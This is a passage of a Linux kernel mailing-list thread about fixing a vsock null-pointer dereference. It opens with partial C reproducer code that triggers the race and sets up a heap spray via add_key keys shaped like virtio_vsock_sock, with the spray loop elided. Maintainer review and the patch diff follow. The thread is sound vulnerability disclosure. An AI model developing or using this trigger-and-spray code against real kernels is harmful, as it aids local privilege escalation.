#define NS_PER_JIFFIE 1000000ull

int cid_port_num = LAST_RESERVED_PORT;

void *trigger_stack = NULL;
void *heap_spray_stack = NULL;
volatile int status_spray = SPRAY_ERROR;

struct virtio_vsock_sock {
	void *vsk;
	int tx_lock;
	int rx_lock;
	int tx_cnt;
	int peer_fwd_cnt;
	int peer_buf_alloc;
	int fwd_cnt;
	int last_fwd_cnt;
	int rx_bytes;
	int buf_alloc;
	char pad[4];
	char rx_queue[24];
	int msg_count;
};
_Static_assert(sizeof(struct virtio_vsock_sock) == 80, "virtio_vsock_sock size missmatch");

union key_payload {
        struct virtio_vsock_sock vvs;
        struct {
                char header[24];
                char data[];
        } key;
};

#define MAIN_CPU 0
#define HELPER_CPU 1

inline static int _pin_to_cpu(int id)
{
        cpu_set_t set;
        CPU_ZERO(&set);
        CPU_SET(id, &set);
        return sched_setaffinity(getpid(), sizeof(set), &set);
}

typedef int key_serial_t;

inline static key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid)
{
	return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

long keyctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
	return syscall(__NR_keyctl, option, arg2, arg3, arg4, arg5);
}

unsigned long long get_jiffies()
{
	return times(NULL) * 10;
}

int race_trigger(void *arg)
{
	struct sockaddr_vm connect_addr = {0};
	struct sockaddr_vm listen_addr = {0};
	pid_t conn_pid, listen_pid;

	int socket_a = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
	int socket_b = socket(AF_VSOCK, SOCK_SEQPACKET, 0);

	cid_port_num++;

	connect_addr.svm_family = AF_VSOCK;
	connect_addr.svm_cid = VMADDR_CID_LOCAL;
	connect_addr.svm_port = cid_port_num;

	listen_addr.svm_family = AF_VSOCK;
	listen_addr.svm_cid = VMADDR_CID_LOCAL;
	listen_addr.svm_port = cid_port_num;
	bind(socket_a, (struct sockaddr *)&listen_addr, sizeof(listen_addr));

	listen(socket_a, 0);

	_pin_to_cpu(MAIN_CPU);

	conn_pid = fork();
	if (conn_pid == 0) {
		/*
		struct itimerspec it = {};
		int tfd;

		FAIL_IF((tfd = timerfd_create(CLOCK_MONOTONIC, 0)) < 0);
		unsigned long tmp;
		it.it_value.tv_sec = 0;
		it.it_value.tv_nsec = 1 * NS_PER_JIFFIE;
		FAIL_IF(timerfd_settime(tfd, 0, &it, NULL) < 0);

		read(tfd, &tmp, sizeof(tmp));
		*/

		connect(socket_b, (struct sockaddr *)&connect_addr, sizeof(connect_addr));
	} else {
		/*
		struct itimerspec it = {};
		int tfd;

		FAIL_IF((tfd = timerfd_create(CLOCK_MONOTONIC, 0)) < 0);
		unsigned long tmp;
		it.it_value.tv_sec = 0;
		it.it_value.tv_nsec = 1 * NS_PER_JIFFIE;
		FAIL_IF(timerfd_settime(tfd, 0, &it, NULL) < 0);

		read(tfd, &tmp, sizeof(tmp));
		*/

		kill(conn_pid, SIGKILL);
		wait(NULL);
	}

	connect_addr.svm_cid = 0;
	connect(socket_b, (struct sockaddr *)&connect_addr, sizeof(connect_addr));

	return 0;
}

int heap_spraying(void *arg)
{
	union key_payload payload = {};
	union key_payload readout = {};
	key_serial_t keys[256] = {};

	status_spray = SPRAY_ERROR;

	int race_trigger_pid = clone(race_trigger, trigger_stack, CLONE_VM | SIGCHLD, NULL);
	FAIL_IF(race_trigger_pid < 0);

	const size_t payload_size = sizeof(payload.vvs) - sizeof(payload.key.header);
	memset(&payload, '?', sizeof(payload));

	_pin_to_cpu(MAIN_CPU);

	unsigned long long begin = get_jiffies();
	do {
		// ...
	} while (get_jiffies() - begin < 25);

	status_spray = SPRAY_RETRY;

	return 0;
}

int main()
{
	srand(time(NULL));

	trigger_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
	FAIL_IF(trigger_stack == MAP_FAILED);
	trigger_stack += 0x8000;
	heap_spray_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
	FAIL_IF(heap_spray_stack == MAP_FAILED);
	heap_spray_stack += 0x8000;

	do {
		int spray_worker_pid = clone(heap_spraying, heap_spray_stack, CLONE_VM | SIGCHLD, NULL);
		FAIL_IF(spray_worker_pid < 0);
		FAIL_IF(waitpid(spray_worker_pid, NULL, 0) < 0);
	} while (status_spray == SPRAY_RETRY);

	return 0;
}
```

> 
> Would be nice to add a test in tools/testing/vsock/vsock_test.c
> 
> Thanks,
> Stefano
> 
> > > > >      vsock_assign_transport()
> > > > >        virtio_transport_release()
> > > > >          virtio_transport_close()
> > > > >            virtio_transport_shutdown()
> > > > >              virtio_transport_send_pkt_info()
> > > > >                vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
> > > > >                  queue_work(vsock_loopback_work)
> > > > >        vsock_deassign_transport()
> > > > >          vsk->transport = NULL;
> > > > >                                                               vsock_loopback_work()
> > > > >                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
> > > > >                                                                   virtio_transport_recv_connected()
> > > > >                                                                     virtio_transport_reset()
> > > > >                                                                       virtio_transport_send_pkt_info()
> > > > >                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST)
> > > > >                                                                           queue_work(vsock_loopback_work)
> > > > > 
> > > > >                                                               vsock_loopback_work()
> > > > >                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST)
> > > > > 								   virtio_transport_recv_disconnecting()
> > > > > 								     virtio_transport_do_close()
> > > > > 								       vsock_stream_has_data()
> > > > > 								         vsk->transport->stream_has_data(vsk);    // null-ptr-deref
> > > > > 
> > > > > To resolve this issue, add a check for vsk->transport, similar to
> > > > > functions like vsock_send_shutdown().
> > > > > 
> > > > > Fixes: fe502c4a38d9 ("vsock: add 'transport' member in the struct vsock_sock")
> > > > > Signed-off-by: Hyunwoo Kim <v4bel@theori.io>
> > > > > Signed-off-by: Wongi Lee <qwerty@theori.io>
> > > > > ---
> > > > > net/vmw_vsock/af_vsock.c | 3 +++
> > > > > 1 file changed, 3 insertions(+)
> > > > > 
> > > > > diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
> > > > > index 5cf8109f672a..a0c008626798 100644
> > > > > --- a/net/vmw_vsock/af_vsock.c
> > > > > +++ b/net/vmw_vsock/af_vsock.c
> > > > > @@ -870,6 +870,9 @@ EXPORT_SYMBOL_GPL(vsock_create_connected);
> > > > > 
> > > > > s64 vsock_stream_has_data(struct vsock_sock *vsk)
> > > > > {
> > > > > +	if (!vsk->transport)
> > > > > +		return 0;
> > > > > +
> > > > 
> > > > I understand that this alleviates the problem, but IMO it is not the right
> > > > solution. We should understand why we're still processing the packet in the
> > > > context of this socket if it's no longer assigned to the right transport.
> > > 
> > > Got it. I agree with you.
> > > 
> > > > 
> > > > Maybe we can try to improve virtio_transport_recv_pkt() and check if the
> > > > vsk->transport is what we expect, I mean something like this (untested):
> > > > 
> > > > diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
> > > > index 9acc13ab3f82..18b91149a62e 100644
> > > > --- a/net/vmw_vsock/virtio_transport_common.c
> > > > +++ b/net/vmw_vsock/virtio_transport_common.c
> > > > @@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,
> > > > 
> > > >        lock_sock(sk);
> > > > 
> > > > -       /* Check if sk has been closed before lock_sock */
> > > > -       if (sock_flag(sk, SOCK_DONE)) {
> > > > +       /* Check if sk has been closed or assigned to another transport before
> > > > +        * lock_sock
> > > > +        */
> > > > +       if (sock_flag(sk, SOCK_DONE) || vsk->transport != t) {
> > > >                (void)virtio_transport_reset_no_sock(t, skb);
> > > >                release_sock(sk);
> > > >                sock_put(sk);
> > > > 
> > > > BTW I'm not sure it is the best solution, we have to check that we do not
> > > > introduce strange cases, but IMHO we have to solve the problem earlier in
> > > > virtio_transport_recv_pkt().
> > > 
> > > At least for vsock_loopback.c, this change doesn’t seem to introduce any
> > > particular issues.
> > 
> > But was it working for you? because the check was wrong, this one should
> > work, but still, I didn't have time to test it properly, I'll do later.
> > 
> > diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
> > index 9acc13ab3f82..ddecf6e430d6 100644
> > --- a/net/vmw_vsock/virtio_transport_common.c
> > +++ b/net/vmw_vsock/virtio_transport_common.c
> > @@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,
> >        lock_sock(sk);
> > -       /* Check if sk has been closed before lock_sock */
> > -       if (sock_flag(sk, SOCK_DONE)) {
> > +       /* Check if sk has been closed or assigned to another transport before
> > +        * lock_sock
> > +        */
> > +       if (sock_flag(sk, SOCK_DONE) || vsk->transport != &t->transport) {
> >                (void)virtio_transport_reset_no_sock(t, skb);
> >                release_sock(sk);
> >                sock_put(sk);
> > 
> > > 
> > > And separately, I think applying the vsock_stream_has_data patch would help
> > > prevent potential issues that could arise when vsock_stream_has_data is
> > > called somewhere.
> > 
> > Not sure, with that check, we wouldn't have seen this problem we had, so
> > either add an error, but mute it like this I don't think is a good idea,
> > also because the same function is used in a hot path, so an extra check
> > could affect performance (not much honestly in this case, but adding it
> > anywhere could).
> > 
> > Thanks,
> > Stefano
> > 
> > > 
> > > > 
> > > > Thanks,
> > > > Stefano
> > > > 
> > > > > 	return vsk->transport->stream_has_data(vsk);
> > > > > }
> > > > > EXPORT_SYMBOL_GPL(vsock_stream_has_data);
> > > > > --
> > > > > 2.34.1
> > > > > 
> > > > 
> > > 
>
diff mbox series

Patch

diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
index 5cf8109f672a..a0c008626798 100644
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -870,6 +870,9 @@  EXPORT_SYMBOL_GPL(vsock_create_connected);
 
 s64 vsock_stream_has_data(struct vsock_sock *vsk)
 {
+	if (!vsk->transport)
+		return 0;
+
 	return vsk->transport->stream_has_data(vsk);
 }
 EXPORT_SYMBOL_GPL(vsock_stream_has_data);